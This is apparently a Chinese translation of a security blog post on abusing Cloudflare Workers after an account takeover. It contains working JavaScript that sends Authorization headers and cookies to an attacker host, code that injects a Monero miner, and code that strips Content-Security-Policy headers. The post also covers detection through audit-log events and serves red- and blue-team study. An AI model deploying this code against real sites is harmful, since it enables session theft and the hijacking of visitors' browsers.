边缘中间人攻击:滥用Cloudflare Workers窃取数据与注入恶意脚本

本文探讨攻击者如何通过滥用Cloudflare Workers在HTTP请求和响应之间透明地窃取授权令牌、Cookie,并注入恶意JavaScript代码,实现持久化访问与数据外泄。

边缘中间人攻击:滥用Cloudflare Workers

Cloudflare Workers提供了一种强大的无服务器解决方案,能够在每个HTTP请求和响应之间运行代码。本文将展示攻击者在入侵Cloudflare账户后,如何滥用Workers建立持久化访问并窃取敏感数据。

这些技术已在真实攻击中被使用,但大多未被广泛关注。红队人员可了解Cloudflare Workers的进攻用途,蓝队人员则需明白保护Cloudflare账户访问权限的重要性。

引言

需明确:这并非Cloudflare或Cloudflare Workers的漏洞。Cloudflare无需(甚至无法)采取任何措施。本文探讨的是利用Workers设计本身及更广泛的“边缘无服务器计算”模型实现攻击目的的方法。

本文所有代码示例可在GitHub仓库找到:https://github.com/christophetd/abusing-cloudflare-workers

Cloudflare Workers简介

Cloudflare Workers允许在Cloudflare边缘服务器上透明部署无服务器代码,位于客户端和最终目标(“源站”)之间。支持JavaScript/TypeScript、Python等多种语言。

Workers可用于编程方式重写请求和响应,例如:

  • 网站不可用或部署时,将用户重定向到维护页面。
  • 动态重写HTML响应中的链接(如迁移博客URL时避免死链)。
  • 在REST API响应中添加常见安全头。
  • 在边缘阻止使用旧版TLS的请求,并显示提示页面。

以下示例自动将HTTP请求从/docs/latest重定向到/docs/v2.4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, originalRequest) {
  const requestUrl = new URL(originalRequest.url);
  if (requestUrl.pathname.startsWith("/docs/latest/")) {
    newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
    return Response.redirect(newUrl, 301);
  } else {
    return fetch(originalRequest);
  }
}

Cloudflare Workers通过设计提供了透明读写HTTP请求和响应的编程方式。接下来将展示攻击者如何滥用此功能。

滥用Cloudflare Workers

假设攻击者入侵了Cloudflare账户。首先,Cloudflare仅为企业客户提供仪表板单点登录(SSO),因此在其15.4万+客户(不含免费账户)中,可能有数千账户使用共享、长期有效的密码。此外,历史上也有Cloudflare漏洞被利用窃取API密钥的案例(案例1案例2)。最后,Cloudflare API密钥是静态、长期有效的凭证,易因错误配置泄露。

攻击者首先看到受害者通过Cloudflare代理的网站:

Cloudflare代理的网站

通常,Cloudflare设置为将指向somewhereinthe.cloud的传入请求代理到第三方源站:

Cloudflare代理设置

下面探讨攻击者如何利用Cloudflare Workers实现目标。

创建恶意Cloudflare Worker

首先创建一个基础Worker,暂不执行任何操作,仅位于HTTP请求和响应之间:

1
2
3
4
5
6
7
8
9
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, request) {
    return fetch(request);
}
name = "my-malicious-worker"
compatibility_date = "2022-06-24"

使用Cloudflare wrangler CLI部署到Cloudflare:

1
2
3
4
5
6
7
$ wrangler publish worker.js
⛅️ wrangler 2.0.15
--------------------
Total Upload: 0.51 KiB / gzip: 0.29 KiB
Uploaded my-malicious-worker (2.11 sec)
Published my-malicious-worker (1.73 sec)
  my-malicious-worker.christophetd.workers.dev

Worker已部署但尚未代理流量。需将其与目标区域的DNS条目关联,或添加“路由”触发器。

通过新DNS记录触发Cloudflare Worker

DNS记录触发

通过路由模式触发Cloudflare Worker

路由触发

也可使用Cloudflare API:

1
2
3
4
5
curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
     -H "X-Auth-Email: $CF_EMAIL" \
     -H "X-Auth-Key: $CF_API_KEY" \
     -H "Content-Type: application/json" \
     --data '{"pattern":"*somewhereinthe.cloud/*","script":"my-malicious-worker"}'

现在有了“中间人Worker”,下面看几个攻击者的诱人用例。

窃取授权令牌

客户端发送的Authorization HTTP头通常包含OAuth令牌、JWT或API密钥等凭证。当HTTP请求中设置Authorization头时,窃取并发送到攻击者控制的远程服务器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  return fetch(request);
}

async function stealAuthorizationHeader(request) {
  const authz = request.headers.get("Authorization")
  if (authz) {
    await log(`authorization header: ${authz}`)
  }
}

async function log(data) {
  await fetch("http://46.101.191.103.nip.io/log/" + btoa(data));
}

首次包含Authorization头的HTTP请求时,攻击者服务器将收到:

1
authorization header: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiUmljayBBc3RsZXkiLCJnaXZlc1lvdVVwIjpmYWxzZSwibGV0c1lvdURvd24iOmZhbHNlLCJ0ZWxsc0xpZXMiOmZhbHNlfQ

窃取Cookie

Cookie通常包含可用于冒充用户身份的会话标识符,价值极高。它们由服务器初始设置(HTTP响应中的Set-Cookie头),随后由客户端发送回(HTTP请求中的Cookie头)。窃取两者:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  response = await fetch(request);
  await stealCookies(request, response);
  return response;
}

async function stealCookies(request, response) {
  cookies = response.headers.get("Set-Cookie")
  if (cookies) {
    await log(`cookies sent by server: ${cookies}`);
  }

  cookies = request.headers.get("Cookie")
  if (cookies) {
    await log(`cookies sent by client: ${cookies}`);
  }
}

攻击者输出示例:

1
2
cookies sent by server: sessionId=3f0cff1d3cc4642e15835d7304d453cc; Max-Age=2592000; Secure; Path=/; Domain=somewhereinthe.cloud
cookies sent by client: cf_use_ob=0; sessionId=3f0cff1d3cc4642e15835d7304d453cc

注入恶意JavaScript代码

窃取敏感数据不错,但在网站服务的每个页面中注入挖矿程序如何?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
async function injectMaliciousScript(originalResponse) {
  if (!originalResponse.headers.get("Content-Type").includes("html")) {
    return originalResponse;
  }

  originalHtml = await originalResponse.text();
  const script = `
    <script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
    <script>
      server = "wss://f.xmrminingproxy.com:8181";
      var pool = "moneroocean.stream";
      var walletAddress = "PUT YOUR WALLET ADDRESS HERE";
      var workerId = ""
      var threads = -1;
      var password = "x";
      startMining(pool, walletAddress, workerId, threads, password);
      throttleMiner = 20;
    </script>
  `
  modifiedHtml = originalHtml.replace("</body>", script + "</body>")
  modifiedResponse = new Response(modifiedHtml, originalResponse)
  return modifiedResponse
}

如果受害网站有严格的内容安全策略(CSP)阻止内联或非信任脚本?作为中间人,可直接删除Content-Security-Policy头:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
async function injectMaliciousScript(originalResponse) {
  // ...
  modifiedResponse = new Response(modifiedHtml, originalResponse)

  if (modifiedResponse.headers.get("Content-Security-Policy")) {
    modifiedResponse.headers.delete("Content-Security-Policy")
  }

  return modifiedResponse
}

插图:透明注入所有响应的恶意JavaScript负载 恶意注入示意图

其他滥用潜力

  • 选择性目标:根据客户端IP或平台行为不同。例如,用户代理匹配搜索引擎时不注入恶意内容。
  • 钓鱼:透明代理合法网站请求,动态重写响应链接并窃取凭证(包括2FA令牌)。
  • 重写支付信息:等待响应中出现类似IBAN或加密货币地址的内容,替换为攻击者拥有的地址。

实际攻击中的记录使用

攻击者滥用Cloudflare Workers动态重写HTTP响应的行为在两次真实事件中有记录。

2021年12月,攻击者入侵了Badger的Cloudflare API密钥。引用Badger的事后分析:

11月10日,攻击者开始使用其API访问权限,通过Cloudflare Workers向app.badger.com的HTML注入恶意脚本。该脚本拦截web3交易,提示用户允许外部地址操作其钱包中的ERC-20令牌。

2020年,Sucuri报告韩国攻击者使用Cloudflare Worker在请求者为搜索引擎时动态向网页添加链接。目的是进行SEO垃圾邮件并提高第三方网站的声誉。

恶意Cloudflare Worker实例(Sucuri发现) 恶意Worker示例

检测Cloudflare账户中的恶意活动

Cloudflare提供控制平面审计日志,可用于识别可疑活动。创建新Worker时生成script_create类型事件。

将Worker绑定到路由(route_create)或创建指向Worker的DNS记录(rec_add)时也会生成事件。

总体而言,Cloudflare提供多种事件类型检测潜在恶意活动,总结如下表。也可在配套GitHub仓库找到示例事件日志。

事件 事件代码
新Worker创建 script_create
Worker绑定到路由 route_create
DNS记录创建 rec_add
用户API令牌创建(和查看) token_create
用户API令牌轮换(和查看) token_roll
账户级API令牌查看 API_key_view
成功登录Cloudflare仪表板 login

如果有Cloudflare企业计划(来源),可使用各种集成将这些审计日志发送到选择的SIEM或日志管理平台。否则,可从仪表板和API查看这些日志。

攻击者滥用Cloudflare Workers的其他方式

攻击者多年来还滥用Cloudflare Workers作为分层命令控制(C2)基础设施的代理,或简单托管钓鱼页面。

  • 恶意软件:Cloudfall、Blackwater、Astaroth
  • 攻击者组织:APT41、SparkingGoblin
  • 钓鱼目标:Microsoft、Yahoo、UPS、Adobe、Paypal、AT&T等

结论

攻击者将继续利用Cloudflare Workers实现恶意目标,正如过去几年在钓鱼和C2基础设施中所做的那样。他们可能更频繁地使用Workers核心功能注入恶意JavaScript负载并窃取敏感数据。与此同时,蓝队应确保其Cloudflare账户得到适当保护并监控可疑活动。

感谢阅读,欢迎在Twitter上继续讨论!

Christophe

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计